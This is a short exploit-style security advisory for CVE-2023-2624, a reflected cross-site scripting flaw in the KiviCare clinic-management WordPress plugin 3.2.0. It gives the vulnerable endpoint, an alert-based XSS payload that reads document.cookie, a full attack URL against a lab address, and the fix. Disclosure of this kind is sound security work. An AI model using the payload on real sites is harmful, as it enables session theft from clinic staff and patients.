WordPress KiviCard plugin version 3.2.0 suffers from a cross site scripting vulnerability.
advisories | CVE-2023-2624
# Exploit Title: WP Plugins KiviCare 3.2.0 - Reflected Cross-Site Scripting
# Date: 03-10-2023
# Exploit Author: Arvandy
# Software Link: https://wordpress.org/plugins/kivicare-clinic-management-system/
# Vendor Homepage: https://kivicare.io/
# Version: 3.2.0
# Tested on: Windows, Linux
# CVE: CVE-2023-2624
# Product Description
KiviCare is the most affordable self-hosted clinic and patient management system based on the WordPress platform. Set up your online clinic in no time. Ref: https://kivicare.io/
# Vulnerability overview:
The WordPress plugins KiviCare - Clinic & Patient Management System (EHR) <= 3.2.0 is vulnerable to reflected cross-site scripting via the filterType parameter in the get weekly appointment function. This vulnerability could allow a malicious actor to inject malicious scripts.
# Proof of Concept:
Affected Endpoint: /wp-admin/admin-ajax.php?action=ajax_get&route_name=get_weekly_appointment&filterType=
Affected Parameters: filterType
XSS Payload: <img src=x onerror=alert(document.cookie)>
http://192.168.56.115/wp-admin/admin-ajax.php?action=ajax_get&route_name=get_weekly_appointment&filterType=%3Cimg%20src=x%20onerror=alert(document.cookie)%3E
# Recommendation
Upgrade to version 3.2.1
